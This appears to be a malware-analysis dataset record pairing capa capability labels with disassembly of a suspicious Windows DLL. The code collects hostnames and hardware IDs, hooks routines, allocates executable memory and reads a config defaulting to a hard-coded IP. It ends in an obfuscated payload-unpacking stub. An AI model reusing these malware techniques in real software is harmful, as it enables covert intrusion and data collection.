joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a210
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10024eb0
mov eax, dword fs:[0]
push eax
mov eax, 0x1170
call fcn.10021250
push ebx
push esi
push edi
push ecx
lea edi, [ebp - 0x117c]
mov ecx, 0x45c
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov eax, dword [0x10031424]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1120], 0
push 0x10027b5b
lea ecx, [ebp - 0x1048]
call fcn.10002270
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x350], 0xffffffff
je 0x1001a34d
push 0x1000
push 0
lea eax, [ebp - 0x1020]
push eax
call sub.MSVCR100D.dll_memset
add esp, 0xc
mov esi, esp
push 0
push 0x1000
lea eax, [ebp - 0x1020]
push eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ecx + 0x350]
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp esi, esp
call fcn.10021000
mov dword [ebp - 0x1054], eax
cmp dword [ebp - 0x1054], 0
jle 0x1001a34d
lea eax, [ebp - 0x1020]
push eax
lea ecx, [ebp - 0x1148]
call fcn.10002270
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1054]
push ecx
push 0
lea edx, [ebp - 0x1148]
push edx
lea ecx, [ebp - 0x1170]
call fcn.1001dcc0
mov dword [ebp - 0x1178], eax
mov eax, dword [ebp - 0x1178]
mov dword [ebp - 0x117c], eax
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x117c]
push ecx
lea ecx, [ebp - 0x1048]
call fcn.100159f0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1170]
call fcn.10002320
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1148]
call fcn.10002320
lea eax, [ebp - 0x1048]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000db00
mov ecx, dword [ebp - 0x1120]
or ecx, 1
mov dword [ebp - 0x1120], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1048]
call fcn.10002320
mov eax, dword [ebp + 8]
push edx
mov ecx, ebp
push eax
lea edx, [0x1001a3bc]
call fcn.10021030
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10021220
add esp, 0x117c
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret 4

Function at 0x1001ab80
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
push ebx
push esi
push edi
lea edi, [ebp - 0xcc]
mov ecx, 0x33
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov dword [ebp - 0xc8], 0
mov esi, esp
push str.._Config1.txt
push 0xff
push 0x10031748
push str.188.165.118.40
push 0x10029940
push str.Config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp esi, esp
call fcn.10021000
push 0x10031748
mov ecx, dword [ebp + 8]
call fcn.10002270
mov eax, dword [ebp - 0xc8]
or eax, 1
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
add esp, 0xcc
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret
Function at 0x1001b230
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100250b7
mov eax, dword fs:[0]
push eax
sub esp, 0x294
push ebx
push esi
push edi
lea edi, [ebp - 0x2a0]
mov ecx, 0xa5
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10031424]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x29c], 0
push 0x10027b5b
lea ecx, [ebp - 0x34]
call fcn.10002270
mov dword [ebp - 4], 1
mov dword [ebp - 0xd4], 0x20
mov esi, esp
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp esi, esp
call fcn.10021000
mov esi, esp
lea eax, [ebp - 0x1d0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
cmp esi, esp
call fcn.10021000
mov esi, esp
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0xc8]
push ecx
push str._ls____ls
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.MSVCR100D.dll_sprintf]
add esp, 0x10
cmp esi, esp
call fcn.10021000
lea eax, [ebp - 0xa0]
push eax
mov ecx, dword [ebp + 8]
call fcn.10002270
mov ecx, dword [ebp - 0x29c]
or ecx, 1
mov dword [ebp - 0x29c], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.10002320
mov eax, dword [ebp + 8]
push edx
mov ecx, ebp
push eax
lea edx, [0x1001b360]
call fcn.10021030
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10021220
add esp, 0x2a0
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret
Function at 0x1001b3e0
Capabilities:
Get hostname
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100250f3
mov eax, dword fs:[0]
push eax
sub esp, 0x35c
push ebx
push esi
push edi
lea edi, [ebp - 0x368]
mov ecx, 0xd7
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10031424]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
movzx eax, byte [0x100313cb]
cmp eax, 1
jne 0x1001b5d1
mov byte [0x100313cb], 0
mov esi, esp
push str.._Config.txt
push 0xff
push 0x100339b8
push 0
push 0x10029940
push str.Config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp esi, esp
call fcn.10021000
mov dword [ebp - 0x148], 0x20
mov esi, esp
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x13c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp esi, esp
call fcn.10021000
lea ecx, [ebp + 8]
call fcn.10002410
mov esi, esp
push eax
lea eax, [ebp - 0x35c]
push eax
call fcn.1001b230
add esp, 4
mov dword [ebp - 0x364], eax
mov ecx, dword [ebp - 0x364]
mov dword [ebp - 0x368], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x368]
call fcn.10002410
push eax
push str.Hacking_PC_Name_:__s_Msg_:__s_n
lea edx, [ebp - 0x250]
push edx
call dword [sym.imp.MSVCR100D.dll_sprintf]
add esp, 0x10
cmp esi, esp
call fcn.10021000
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x35c]
call fcn.10002320
mov ecx, 0x10033ea0
call fcn.1001aaf0
movzx eax, al
cmp eax, 1
jne 0x1001b5d1
lea ecx, [ebp + 8]
call fcn.10002450
cmp eax, 4
jbe 0x1001b55a
mov ecx, 0x10033ea0
call fcn.1001aaf0
movzx eax, al
test eax, eax
je 0x1001b55a
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x334], esp
lea eax, [ebp - 0x250]
push eax
call fcn.10002270
mov dword [ebp - 0x364], eax
mov ecx, 0x10033ea0
call fcn.10019ba0
mov byte [0x100313cb], 1
jmp 0x1001b5d1
lea ecx, [ebp + 8]
call fcn.10002450
test eax, eax
jne 0x1001b5b9
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x328], esp
push str.Hacking
call fcn.10002270
mov dword [ebp - 0x364], eax
mov ecx, 0x10033ea0
call fcn.10019ba0
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x31c], esp
push str.nll_sendded
call fcn.10002270
mov dword [ebp - 0x364], eax
mov ecx, 0x10033ea0
call fcn.10019ba0
mov byte [0x100313cb], 1
jmp 0x1001b5d1
mov ecx, 0x10033ea0
call fcn.1001aaf0
movzx eax, al
test eax, eax
jne 0x1001b5d1
mov byte [0x100313cb], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10002320
push edx
mov ecx, ebp
push eax
lea edx, [0x1001b61c]
call fcn.10021030
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10021220
add esp, 0x368
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret
Function at 0x1001be80
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025253
mov eax, dword fs:[0]
push eax
sub esp, 0x53c
push ebx
push esi
push edi
lea edi, [ebp - 0x548]
mov ecx, 0x14f
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10031424]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x40], 0x20
mov esi, esp
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp esi, esp
call fcn.10021000
lea ecx, [ebp + 8]
call fcn.10002410
mov esi, esp
push eax
lea eax, [ebp - 0x530]
push eax
call fcn.1001b230
add esp, 4
mov dword [ebp - 0x544], eax
mov ecx, dword [ebp - 0x544]
mov dword [ebp - 0x548], ecx
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x548]
call fcn.10002410
push eax
push str.Hacking_PC_Name_:__s_Msg_:__s_n
lea edx, [ebp - 0x448]
push edx
call dword [sym.imp.MSVCR100D.dll_sprintf]
add esp, 0x10
cmp esi, esp
call fcn.10021000
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x530]
call fcn.10002320
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x53c], esp
lea eax, [ebp - 0x448]
push eax
call fcn.10002270
mov dword [ebp - 0x544], eax
mov ecx, 0x10033ea0
call fcn.10019ba0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.10002320
push edx
mov ecx, ebp
push eax
lea edx, [0x1001bfbc]
call fcn.10021030
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10021220
add esp, 0x548
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret
Function at 0x1001cdb0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100254c7
mov eax, dword fs:[0]
push eax
sub esp, 0x294
push ebx
push esi
push edi
lea edi, [ebp - 0x2a0]
mov ecx, 0xa5
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10031424]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x29c], 0
push 0x10027b5b
lea ecx, [ebp - 0x34]
call fcn.10002270
mov dword [ebp - 4], 1
mov dword [ebp - 0xd4], 0x20
mov esi, esp
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xc8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp esi, esp
call fcn.10021000
mov esi, esp
lea eax, [ebp - 0x1d0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
cmp esi, esp
call fcn.10021000
mov esi, esp
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0xc8]
push ecx
push str._ls____ls
lea edx, [ebp - 0xa0]
push edx
call dword [sym.imp.MSVCR100D.dll_sprintf]
add esp, 0x10
cmp esi, esp
call fcn.10021000
lea eax, [ebp - 0xa0]
push eax
mov ecx, dword [ebp + 8]
call fcn.10002270
mov ecx, dword [ebp - 0x29c]
or ecx, 1
mov dword [ebp - 0x29c], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.10002320
mov eax, dword [ebp + 8]
push edx
mov ecx, ebp
push eax
lea edx, [0x1001cee0]
call fcn.10021030
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10021220
add esp, 0x2a0
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret
Function at 0x1001cf60
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025503
mov eax, dword fs:[0]
push eax
sub esp, 0x2b0
push ebx
push esi
push edi
lea edi, [ebp - 0x2bc]
mov ecx, 0xac
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10031424]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [0x100313cd], 0
mov ecx, 0x10033ea0
call fcn.1001aaf0
movzx eax, al
test eax, eax
jne 0x1001cfc5
mov eax, 1
test eax, eax
je 0x1001d193
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2b4], esp
push str._HardWarIDLogger
call fcn.10002270
mov dword [ebp - 0x2bc], eax
call fcn.1001b3e0
add esp, 0x20
mov esi, esp
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.10021000
lea eax, [ebp - 0x34]
push eax
mov ecx, 0x10033ea0
call fcn.1001a210
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.10002450
add eax, 1
push eax
call fcn.1001eb00
add esp, 4
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x34]
call fcn.10002410
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.MSVCR100D.dll_strcpy
add esp, 8
mov esi, esp
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
cmp esi, esp
call fcn.10021000
mov esi, esp
lea eax, [ebp - 0x1a4]
push eax
push 0x10027724
lea ecx, [ebp - 0xac]
push ecx
call dword [sym.imp.MSVCR100D.dll_sprintf]
add esp, 0xc
cmp esi, esp
call fcn.10021000
lea eax, [ebp - 0x1d0]
push eax
call fcn.1001cdb0
add esp, 4
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1d0]
call fcn.10002410
mov esi, esp
push eax
push str.Hacking_opened_Blocked_HWID_:__ls_connection_refused
push 0x10033ab8
call dword [sym.imp.MSVCR100D.dll_sprintf]
add esp, 0xc
cmp esi, esp
call fcn.10021000
lea ecx, [ebp - 0x34]
call fcn.1000dfa0
cmp eax, 3
jbe 0x1001d175
lea ecx, [ebp - 0x34]
call fcn.10002410
mov esi, esp
push eax
lea ecx, [ebp - 0x1d0]
call fcn.10002410
push eax
call dword [sym.imp.MSVCR100D.dll_strstr]
add esp, 8
cmp esi, esp
call fcn.10021000
test eax, eax
jne 0x1001d119
push 0
lea ecx, [ebp - 0x1d0]
call fcn.10002410
push eax
lea ecx, [ebp - 0x34]
call fcn.100024e0
cmp eax, dword [0x100276cc]
je 0x1001d175
push 0x1d
push str.XeonansePlayerAreaBitFunction
push 0x513146
call fcn.1001b0e0
add esp, 0xc
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x29c], esp
push 0x10033ab8
call fcn.10002270
mov dword [ebp - 0x2bc], eax
call fcn.1001b3e0
add esp, 0x20
push 0x1d
push str.XeonansePlayerAreaBitFunction
push 0x513146
call fcn.1001b0e0
add esp, 0xc
mov esi, esp
push 0
call dword [sym.imp.MSVCR100D.dll_exit]
cmp esi, esp
call fcn.10021000
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1d0]
call fcn.10002320
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10002320
push edx
mov ecx, ebp
push eax
lea edx, [0x1001d1d0]
call fcn.10021030
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10021220
add esp, 0x2bc
cmp ebp, esp
call fcn.10021000
mov esp, ebp
pop ebp
ret
Function at 0x1001f030
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10029df0
push 0x10021dc2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffcc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push 0x1c
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x1001f096
mov byte [ebp - 0x3d], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3d]
jmp 0x1001f11f
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
cmp dword [ecx], 0x4550
je 0x1001f0bd
mov byte [ebp - 0x3e], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3e]
jmp 0x1001f11f
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
add eax, dword [edx + 0xd8]
cmp dword [ebp + 0xc], eax
jb 0x1001f0f8
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
add edx, dword [ecx + 0xd8]
mov eax, dword [ebp - 0x3c]
add edx, dword [eax + 0xdc]
cmp dword [ebp + 0xc], edx
jae 0x1001f0f8
mov byte [ebp - 0x3f], 1
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x3f]
jmp 0x1001f11f
mov byte [ebp - 0x40], 0
mov dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x40]
jmp 0x1001f11f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001f200
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10034310]
mov dword [ebp - 4], eax
jmp 0x1001f219
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x1001f236
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001f210
mov esp, ebp
pop ebp
ret
Function at 0x1001f240
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x10034320], eax
je 0x1001f25e
mov eax, 0x10dd
jmp 0x1001f340
mov eax, dword [0x10034330]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1001f2dd
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x10]
xor eax, eax
mov al, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
cmp dword [eax + 4], 0
jne 0x1001f2bb
mov ecx, dword [ebp - 8]
cmp dword [ecx + 0x10], 0
je 0x1001f2bb
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
push eax
call fcn.1001f3b0
add esp, 4
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 8]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
push edx
call sub.MSVCR100D.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x1001f266
mov dword [0x10034330], 0
call fcn.1001f350
mov ecx, dword [0x1003432c]
mov dword [ebp - 4], ecx
cmp dword [ebp - 4], 0
je 0x1001f32a
mov edx, dword [ebp - 4]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
push ecx
call sub.MSVCR100D.dll_void___cdecl_operator_delete_void__
add esp, 4
mov edx, dword [ebp - 0x14]
mov dword [ebp - 4], edx
jmp 0x1001f2f5
mov dword [0x1003432c], 0
mov dword [0x10034320], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1001f8b0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
cmp dword [eax], 0x52727464
je 0x1001f8c5
xor eax, eax
jmp 0x1001f93a
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0x10000
mov dword [ebp - 4], edx
mov eax, dword [ebp + 8]
add eax, 0x48
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x1001f8f2
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0xc], 0x38d
jae 0x1001f935
mov edx, dword [ebp - 0xc]
imul edx, edx, 0x48
mov eax, dword [ebp - 0x10]
cmp dword [eax + edx + 0x40], 0
je 0x1001f933
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 8]
jb 0x1001f92f
mov ecx, dword [ebp - 0xc]
imul ecx, ecx, 0x48
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + ecx + 0x40]
cmp eax, dword [ebp - 4]
jb 0x1001f933
xor eax, eax
jmp 0x1001f93a
jmp 0x1001f8e9
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x1001f9f0
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x10034324], 0
je 0x1001fa09
mov eax, dword [0x10034324]
jmp 0x1001faa9
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
cmp dword [ebp + 8], eax
jne 0x1001fa1b
xor eax, eax
jmp 0x1001faa9
push 8
call sub.MSVCR100D.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1001fa71
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x1001fa5a
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCR100D.dll_void___cdecl_operator_delete_void__
add esp, 4
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x10034324], eax
mov dword [0x10034328], 0
mov eax, dword [ebp - 8]
jmp 0x1001faa9
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
jne 0x1001fa8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 8], eax
jmp 0x1001fa3b
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x1003432c]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x1003432c], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x100202f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.100203c0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100203ac
cmp dword [ebp - 4], 0x50000000
jb 0x1002032c
cmp dword [ebp - 4], 0x80000000
ja 0x1002032c
mov dword [ebp - 4], 0x80010000
jmp 0x10020305
push 0x1c
push 0
lea edx, [ebp - 0x20]
push edx
call sub.MSVCR100D.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10020352
jmp 0x100203ac
cmp dword [ebp - 0x10], 0x10000
jne 0x10020395
cmp dword [ebp - 0x14], 0x10000
jb 0x10020395
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10020388
mov eax, dword [ebp - 0x24]
jmp 0x100203ae
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100203a7
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x14]
push ecx
call fcn.100203c0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10020305
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10020400
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100204d0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x100204c4
cmp dword [ebp - 4], 0x50000000
jb 0x10020441
cmp dword [ebp - 4], 0x80000000
ja 0x10020441
mov dword [ebp - 4], 0x4fff0000
jmp 0x1002041a
push 0x1c
push 0
lea edx, [ebp - 0x20]
push edx
call sub.MSVCR100D.dll_memset
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10020467
jmp 0x100204c4
cmp dword [ebp - 0x10], 0x10000
jne 0x100204aa
cmp dword [ebp - 0x14], 0x10000
jb 0x100204aa
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x1002049d
mov eax, dword [ebp - 0x24]
jmp 0x100204c6
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100204bf
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x10000
push ecx
call fcn.100204d0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1002041a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10021220
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10031424]
jne 0x1002122a
repz ret
jmp fcn.100225e0
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40345b
pop dword [ebp - 0x14]
mov eax, 0x768df62e
add eax, 0x89b23e2d
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xdbc7b2f8
sub dword [ebp - 0x24], 0x8d756dad
mov dword [ebp - 0x20], 0x17f485fd
sub dword [ebp - 0x20], 0xe5c139b8
mov dword [ebp - 0x1c], 0x6d92aaa7
sub dword [ebp - 0x1c], 0x21466679
mov dword [ebp - 0x18], 0xcde6ae36
add dword [ebp - 0x18], 0x321951ca
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x6a88e838
add dword [ebp - 0x24], 0x9e9811e
mov dword [ebp - 0x20], 0x2fb5e260
sub dword [ebp - 0x20], 0xee4980eb
mov dword [ebp - 0x1c], 0x3acb943a
sub dword [ebp - 0x1c], 0xd75c27ce
mov dword [ebp - 0x18], 0xfe4dfbbc
sub dword [ebp - 0x18], 0xfe4dfbbc
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x356cf
push 0
call eax
mov ecx, 0xe157af6f
sub ecx, 0xe1576d31
xor edi, edi
add edi, eax
mov esi, 0x408400
add esi, dword [ebp - 0x14]
mov ebx, 0x3bbdc857
sub ebx, 0x541e52da
xor dword [ebp - 4], 0x8a821b52
mov edx, dword [esi]
add dword [ebp - 4], 0x832109a4
add edx, ebx
sub dword [ebp - 0x10], 0xed8e2737
mov dword [edi], edx
sub dword [ebp - 4], ebx
add edi, 0xa3c94514
sub edi, 0xa3c94510
add esi, 4
loop 0x40356f
add eax, 0xfbcb
mov ebx, eax
